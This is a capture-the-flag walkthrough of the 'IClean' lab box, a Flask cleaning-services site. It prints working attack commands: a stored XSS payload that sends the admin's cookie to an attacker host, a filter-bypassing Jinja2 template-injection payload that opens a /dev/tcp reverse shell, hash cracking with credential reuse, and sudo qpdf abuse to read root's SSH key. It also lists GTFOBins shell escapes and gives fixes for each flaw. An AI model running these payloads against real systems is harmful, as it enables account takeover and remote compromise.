IClean
Summary
I mapped iclean ($TARGET) to a Flask cleaning-services site at capiclean.htb and abused its public quote-request form to plant a blind stored XSS payload. When the site administrator viewed the request in their dashboard, the payload silently exfiltrated their non-HttpOnly Flask session cookie, which decoded to an MD5 hash of the literal string "admin" — I simply replayed that cookie to reach the authenticated admin dashboard. From there, a Jinja2 server-side template injection in the invoice/QR-code generator, filtered but bypassed with hex-encoded underscores, gave remote code execution as www-data.
Reading the application's source disclosed hardcoded MySQL credentials, whose database held a crackable password hash reused as the OS login for local user consuela, yielding SSH access and the user flag. Finally, an unrestricted sudo rule allowing consuela to run qpdf as root was abused to embed root's SSH private key into a PDF attachment and extract it verbatim, giving a root SSH shell and full compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p- $TARGETecho "$TARGET capiclean.htb" | sudo tee -a /etc/hostscurl -s -H 'Host: capiclean.htb' http://$TARGET/quoteExact commands 2
nc -lvnp 7777curl -sS -o /dev/null -w 'status=%{http_code}\n' --max-time 15 -X POST http://$TARGET/sendMessage -H 'Host: capiclean.htb' --data-urlencode "service=<img src=x onerror='fetch(\"http://$ATTACKER_IP:7777/?c=\"+document.cookie)'>" --data-urlencode 'email=callback@capiclean.htb'FixSanitize and encode all quote-form input before it is rendered in the admin dashboardCritical
Exact commands 1
curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' http://$TARGET/dashboardFixMark session cookies HttpOnly (and Secure)High
Exact commands 3
curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' -X POST http://$TARGET/QRGenerator --data-urlencode "qr_link={{7*7}}"curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' -X POST http://$TARGET/QRGenerator --data-urlencode "qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo <BASE64_OF_bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\"> | base64 -d | bash')|attr('read')()}}"python3 -c 'import pty;pty.spawn("/bin/bash")'FixEliminate server-side template injection in the QR/invoice generatorCritical
Exact commands 5
cat /opt/app/app.py | grep -i -A2 mysqlmysql -u iclean -p'$PASSWORD3' capiclean -e 'select * from users;'hashcat -m 1400 consuela_hash.txt rockyou.txtsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no consuela@$TARGET 'id'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no consuela@$TARGET 'cat /home/consuela/user.txt'FixRemove hardcoded database credentials and stop password reuse across accountsHigh
Exact commands 4
sudo -lsudo /usr/bin/qpdf --stream-data=uncompress --empty --add-attachment /root/.ssh/id_rsa -- /tmp/iclean-rootkey.pdf && strings /tmp/iclean-rootkey.pdfchmod 600 id_rsa && ssh -i id_rsa root@$TARGET idssh -i id_rsa root@$TARGET 'cat /root/root.txt'FixRestrict or remove the unrestricted sudo qpdf ruleCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |